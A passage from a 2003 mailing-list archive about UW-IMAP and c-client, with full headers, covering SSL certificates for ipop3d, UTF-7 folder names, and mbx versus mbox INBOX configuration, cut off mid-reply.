+0000 Message-Id: Date: Mon, 01 Dec 2003 15:58:52 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Randall Perry To: Subject: Secure ipop3d on Mac OS 10.3 Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_LONG_SPARSE -0.304' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How can I prepare an existing web server cert for use with imap3d? I assume the key needs to be embedded in the .pem file. -- Randall Perry sysTame Xserve Web Hosting/Co-location Website Development/Promotion Mac Consulting/Sales http://www.systame.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 4 04:37:19 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Dec 2003 04:37:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4CbIUF010801 for ; Thu, 4 Dec 2003 04:37:18 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4CbHlp004137 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 4 Dec 2003 04:37:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB4CZu1r013056; Thu, 4 Dec 2003 04:35:58 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4CVeuL017128 for ; Thu, 4 Dec 2003 04:31:41 -0800 Received: from poki.oddi.is (landi.oddi.is [213.167.149.151]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4CVdbc015933 for ; Thu, 4 Dec 2003 04:31:39 -0800 Received: from arnarb by poki.oddi.is with local (Exim 4.20) id 1ARsdt-0007Ae-Pr for c-client@u.washington.edu; Thu, 04 Dec 2003 12:31:37 +0000 Message-Id: <20031204123137.GA26677@poki.oddi.is> Date: Thu, 4 Dec 2003 12:31:37 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Arnar Birgisson To: c-client@u.washington.edu Subject: UTF-7 and Linux filesystem Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello there.. I'm using imap3d with good results to read my mail in Outlook. The problem is however, that I also read my mail using mutt when working on the Linux system. I have some folders with names containing 8-bit characters. In mutt, folder names are displayed as they are in the filesystem, in my case, in ISO-8859-1 8-bit encoding. However, this means that I can't use those folders from Outlook. I see them in the folder list ok, but Outlook can't make a request for them as it utf-7 encodes the name. If I however use the utf-7 encoding for the name in the filesystem, the folders are correct and usable in Outlook, but of course they look ugly in mutt. Is there any setting in UW imapd that makes this conversion, i.e. when Outlook requests an utf-7 encoded folder name, it looks in the filesystem for the ISO-8859-1 encoding of the same name? Arnar -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 4 08:27:53 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Dec 2003 08:27:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4GRrUF018232 for ; Thu, 4 Dec 2003 08:27:53 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4GRplp010522 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 4 Dec 2003 08:27:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB4GQg1r014994; Thu, 4 Dec 2003 08:26:45 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4GO6uL021212 for ; Thu, 4 Dec 2003 08:24:06 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4GO5gN010322 for ; Thu, 4 Dec 2003 08:24:05 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4GO2P3025926; Thu, 4 Dec 2003 08:24:02 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB4GO2vr023915; Thu, 4 Dec 2003 08:24:02 -0800 Message-Id: Date: Thu, 4 Dec 2003 08:24:02 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Arnar Birgisson Cc: c-client@u.washington.edu Subject: Re: UTF-7 and Linux filesystem In-Reply-To: <20031204123137.GA26677@poki.oddi.is> References: <20031204123137.GA26677@poki.oddi.is> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 4 Dec 2003, Arnar Birgisson wrote: > Is there any setting in UW imapd that makes this conversion, i.e. when > Outlook requests an utf-7 encoded folder name, it looks in the > filesystem for the ISO-8859-1 encoding of the same name? No, there isn't any support for ISO-8859-1 (or any other local character set) mailbox names, and there won't be. If/when 8-bit octets in mailbox names are supported in IMAP, they will be exclusively UTF-8. The entire purpose of using the modified UTF-7 convention in IMAP was to provide a transition, one in which all software can use and interoperate (because it is 7-bit). Supporting legacy character sets in mailbox names would be a major step backwards. In other words, my answer is that you should not use 8-bit octets in mailbox names at all during this transition period, and mutt should be fixed to know about the modified UTF-7 convention. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 8 05:28:12 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Dec 2003 05:28:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8DSCUF006088 for ; Mon, 8 Dec 2003 05:28:12 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8DSA72022307 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Dec 2003 05:28:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB8DR61r015202; Mon, 8 Dec 2003 05:27:07 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8DPSuL008306 for ; Mon, 8 Dec 2003 05:25:28 -0800 Received: from mx.nextra.ro (ns-1.nextra.ro [193.230.174.100]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8DPQED030765 for ; Mon, 8 Dec 2003 05:25:27 -0800 Received: from localhost (localhost [127.0.0.1]) by mx.nextra.ro (8.12.10/8.12.10) with ESMTP id hB8DP6EI020970 for ; Mon, 8 Dec 2003 15:25:06 +0200 Message-Id: Date: Mon, 8 Dec 2003 15:25:06 +0200 (EET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Imre Gergely To: c-client@u.washington.edu Subject: mailbox format problems MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_LONG_SPARSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hi i downloaded the imap.tar.Z, and compiled the source. then, i converted my unix mailbox to mbx format. there was no problem, pine could open it. then i tried to open it through pop3: -ERR Unable to open user's INBOX Connection closed by foreign host. in syslog i get the following error: Dec 8 15:21:53 imi ipop3d[14112]: pop3 service init from 127.0.0.1 Dec 8 15:21:58 imi ipop3d[14112]: Can't open INBOX (file /var/spool/mail/cemc): not in valid mailbox format Dec 8 15:21:58 imi ipop3d[14112]: Error opening or locking INBOX user=cemc host=localhost.localdomain [127.0.0.1] when i try through imap, it says no messages. what did i do wrong? [root@imi root]# gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-113) imap and pop3 runs through xinetd. thx. -- Gergely Imre email: gimre@nextra.ro sysadmin mobile: +40-745-105592, office: +40-266-317500 Nextra Tele Com SRL str. Florilor 28/1, 4100 M-Ciuc, RO http://www.nextra.ro/gimre ICQ# 101510959 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 8 06:37:48 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Dec 2003 06:37:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8EbmUF007681 for ; Mon, 8 Dec 2003 06:37:48 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8Ebklp029592 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Dec 2003 06:37:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB8EagFe012980; Mon, 8 Dec 2003 06:36:43 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8EZguL008358 for ; Mon, 8 Dec 2003 06:35:42 -0800 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB8EZdf1020274 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Dec 2003 06:35:41 -0800 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id hB8EZaXd032648; Mon, 8 Dec 2003 15:35:37 +0100 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id hB8EZaS5014735; Mon, 8 Dec 2003 15:35:36 +0100 Message-Id: <2147483647.1070897736@tyrion.rrz.uni-koeln.de> Date: Mon, 08 Dec 2003 15:35:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Imre Gergely , c-client@u.washington.edu Subject: Re: mailbox format problems In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Montag, 8. Dezember 2003 15:25 Uhr +0200 Imre Gergely=20 wrote: > i downloaded the imap.tar.Z, and compiled the source. then, i converted > my unix mailbox to mbx format. there was no problem, pine could open it. > then i tried to open it through pop3: > > -ERR Unable to open user's INBOX > Connection closed by foreign host. > > in syslog i get the following error: > Dec 8 15:21:53 imi ipop3d[14112]: pop3 service init from 127.0.0.1 > Dec 8 15:21:58 imi ipop3d[14112]: Can't open INBOX (file > /var/spool/mail/cemc): not in valid mailbox format > Dec 8 15:21:58 imi ipop3d[14112]: Error opening or locking INBOX > user=3Dcemc host=3Dlocalhost.localdomain [127.0.0.1] > > when i try through imap, it says no messages. what did i do wrong? The mailbox in /var/spool/mail has to be in mbox format. If you want to=20 have an mbx INBOX, you need to create an mbx file named /home/cemc/INBOX.=20 Mail will be slurped into that file from /var/spool/mail each time the=20 INBOX is accessed. Greetings, Sebastian -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Tue Dec 9 01:05:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 01:05:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB995wUF020043 for ; Tue, 9 Dec 2003 01:05:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB995v72027224 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 01:05:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB994PFe016248; Tue, 9 Dec 2003 01:04:25 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB993RuL038606 for ; Tue, 9 Dec 2003 01:03:27 -0800 Received: from mx.nextra.ro (ns-1.nextra.ro [193.230.174.100]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB993Pbc017188 for ; Tue, 9 Dec 2003 01:03:26 -0800 Received: from localhost (localhost [127.0.0.1]) by mx.nextra.ro (8.12.10/8.12.10) with ESMTP id hB992JOw015719; Tue, 9 Dec 2003 11:02:19 +0200 Message-Id: Date: Tue, 9 Dec 2003 11:02:19 +0200 (EET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Imre Gergely To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: mailbox format problems In-Reply-To: <2147483647.1070897736@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Dec 2003, Sebastian Hagedorn wrote: > The mailbox in /var/spool/mail has to be in mbox format. If you want to > have an mbx INBOX, you need to create an mbx file named /home/cemc/INBOX. > Mail will be slurped into that file from /var/spool/mail each time the > INBOX is accessed. ok, it works this way. thanks. and it works only _this_ way, no other way? i mean i have to create home dirs for each and every user whom i want to use this mbx format? there's no way to tell imap/pop3/sendmail to use mbx directly in /var/spool/mail? another q: if i have .procmailrc, and i'm sorting my mail to ~/mail/* with it, how can i use dmail/tmail to put those mailboxes in mbx format? and will i be able to open them with imap? (ie in outlook, after subscribing to those folders) -- Gergely Imre email: gimre@nextra.ro sysadmin mobile: +40-745-105592, office: +40-266-317500 Nextra Tele Com SRL str. Florilor 28/1, 4100 M-Ciuc, RO http://www.nextra.ro/gimre ICQ# 101510959 From pinedev@shivax2.cac.washington.edu Tue Dec 9 11:33:11 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 11:33:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JXAUF011505 for ; Tue, 9 Dec 2003 11:33:10 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JX9lp019224 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 11:33:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB9JSjFe012332; Tue, 9 Dec 2003 11:28:45 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JROuL029614 for ; Tue, 9 Dec 2003 11:27:24 -0800 Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JRHbc011304 for ; Tue, 9 Dec 2003 11:27:22 -0800 Received: from 64-121-199-40.c3-0.sfpo-ubr8.sfrn-sfpo.ca.cable.rcn.com ([64.121.199.40] helo=winbitch) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ATnVs-0005e9-00; Tue, 09 Dec 2003 14:27:16 -0500 Message-Id: <003001c3be8a$71c27700$6501a8c0@winbitch> Date: Tue, 9 Dec 2003 11:27:10 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nick Hodulik" To: "Imre Gergely" , "Sebastian Hagedorn" Cc: Subject: Re: mailbox format problems References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is a way. You have to dig down into the code and change "CREATEPROTO" and "EMPTYPROTO" from mbox to mbx. Assuming your in *nix you'll have to go to src/osdep/unix/env_unix.c or something similar to do this. If you want mail to live in a subdirectory called "mail" in each users home dir then you must change src/osdep/unix/Makefile to reflect this as well. Which brings me to a question: why can't these options be passed in to UW-IMAP as compile-time switches? Every single time there's a new release I have to delve into the code and change these flags, and I'm sure I'm not the only one. It would be one thing if they were really esoteric things, but they aren't: they're very basic, important changes that make UW-IMAP usable on production servers. What can be done to change this so that these things can be made much easier to setup? I understand the goal of wanting out-of-the-box functionality but that really shouldn't come at the expense of ease-of-use and intuitive design. I find this frustrating, as UW-IMAP is literally the only mature software package I use with an antiquated build system. Mark, you tend to answer these sort of requests/constructive criticisms tersely; I respectfully ask that you consider making these kinds of changes, as they would benefit the entire community of users who depend on your otherwise excellent software. n ----- Original Message ----- From: "Imre Gergely" To: "Sebastian Hagedorn" Cc: Sent: Tuesday, December 09, 2003 1:02 AM Subject: Re: mailbox format problems > > On Mon, 8 Dec 2003, Sebastian Hagedorn wrote: > > > The mailbox in /var/spool/mail has to be in mbox format. If you want to > > have an mbx INBOX, you need to create an mbx file named /home/cemc/INBOX. > > Mail will be slurped into that file from /var/spool/mail each time the > > INBOX is accessed. > > ok, it works this way. thanks. > > and it works only _this_ way, no other way? i mean i have to create home > dirs for each and every user whom i want to use this mbx format? there's > no way to tell imap/pop3/sendmail to use mbx directly in /var/spool/mail? > > another q: if i have .procmailrc, and i'm sorting my mail to ~/mail/* with > it, how can i use dmail/tmail to put those mailboxes in mbx format? and > will i be able to open them with imap? (ie in outlook, after subscribing > to those folders) > > -- > Gergely Imre email: gimre@nextra.ro > sysadmin mobile: +40-745-105592, office: +40-266-317500 > Nextra Tele Com SRL str. Florilor 28/1, 4100 M-Ciuc, RO > http://www.nextra.ro/gimre ICQ# 101510959 > > From pinedev@shivax2.cac.washington.edu Tue Dec 9 11:40:45 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 11:40:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JeiUF011860 for ; Tue, 9 Dec 2003 11:40:44 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9Jeg72013733 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 11:40:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB9JbwAk014698; Tue, 9 Dec 2003 11:37:59 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JbTuL017080 for ; Tue, 9 Dec 2003 11:37:29 -0800 Received: from ns2.cksoft.de (ns2.cksoft.de [217.115.141.131]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9JbPf1030481 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 9 Dec 2003 11:37:27 -0800 Received: from vesihiisi.cksoft.de (unknown [192.168.64.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ns2.cksoft.de (Postfix) with ESMTP id 8AC8A2A41E; Tue, 9 Dec 2003 20:37:20 +0100 (CET) Received: from vesihiisi.cksoft.de (localhost [127.0.0.1]) by vesihiisi.cksoft.de (Postfix) with ESMTP id 8398C1F35; Tue, 9 Dec 2003 20:37:19 +0100 (CET) Received: by vesihiisi.cksoft.de (Postfix, from userid 1000) id 470021F33; Tue, 9 Dec 2003 20:37:17 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by vesihiisi.cksoft.de (Postfix) with ESMTP id 3FD261E87; Tue, 9 Dec 2003 20:37:17 +0100 (CET) Message-Id: <20031209203223.R18592@vesihiisi.cksoft.de> Date: Tue, 9 Dec 2003 20:37:17 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christian Kratzer To: Nick Hodulik Cc: c-client@u.washington.edu Subject: Re: mailbox format problems In-Reply-To: <003001c3be8a$71c27700$6501a8c0@winbitch> References: <003001c3be8a$71c27700$6501a8c0@winbitch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: ck@vesihiisi.cksoft.de X-Spammer-Kill-Ratio: 75% X-Virus-Scanned: by AMaViS cksoft-s20020300-20031204bz on vesihiisi.cksoft.de X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, On Tue, 9 Dec 2003, Nick Hodulik wrote: > There is a way. You have to dig down into the code and change "CREATEPROTO" > and "EMPTYPROTO" from mbox to mbx. Assuming your in *nix you'll have to go > to src/osdep/unix/env_unix.c or something similar to do this. If you want > mail to live in a subdirectory called "mail" in each users home dir then you > must change src/osdep/unix/Makefile to reflect this as well. > > Which brings me to a question: why can't these options be passed in to > UW-IMAP as compile-time switches? Every single time there's a new release I [snipp] you might want to read ./docs/imaprc.txt in the uw-imap tarball. If you are prepared to "accept the risk" :) you might find the runtime configuration options quite helpfull. Greetings Christian -- CK Software GmbH Christian Kratzer, Schwarzwaldstr. 31, 71131 Jettingen Email: ck@cksoft.de Phone: +49 7452 889-135 Open Software Solutions, Network Security Fax: +49 7452 889-136 FreeBSD spoken here! From pinedev@shivax2.cac.washington.edu Tue Dec 9 12:34:37 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 12:34:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KYaUF014123 for ; Tue, 9 Dec 2003 12:34:36 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KYY72015766 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 12:34:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB9KWrFe015732; Tue, 9 Dec 2003 12:32:54 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KVsuL026638 for ; Tue, 9 Dec 2003 12:31:54 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KVrrQ003383 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 12:31:53 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KVZK4011255; Tue, 9 Dec 2003 12:31:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KVYvo004423 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 9 Dec 2003 12:31:34 -0800 Message-Id: Date: Tue, 9 Dec 2003 12:29:31 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Imre Gergely Cc: Sebastian Hagedorn , c-client@u.washington.edu Subject: Re: mailbox format problems In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Dec 2003, Imre Gergely wrote: > and it works only _this_ way, no other way? i mean i have to create home > dirs for each and every user whom i want to use this mbx format? Correct. > there's > no way to tell imap/pop3/sendmail to use mbx directly in /var/spool/mail? Correct. You could hack the source, but the design of mbx format is *NOT* to use a mail spool directory. > another q: if i have .procmailrc, and i'm sorting my mail to ~/mail/* with > it, how can i use dmail/tmail to put those mailboxes in mbx format? and > will i be able to open them with imap? (ie in outlook, after subscribing > to those folders) procmail has a feature to pipe to a program. The program you would use for this purpose is dmail, not 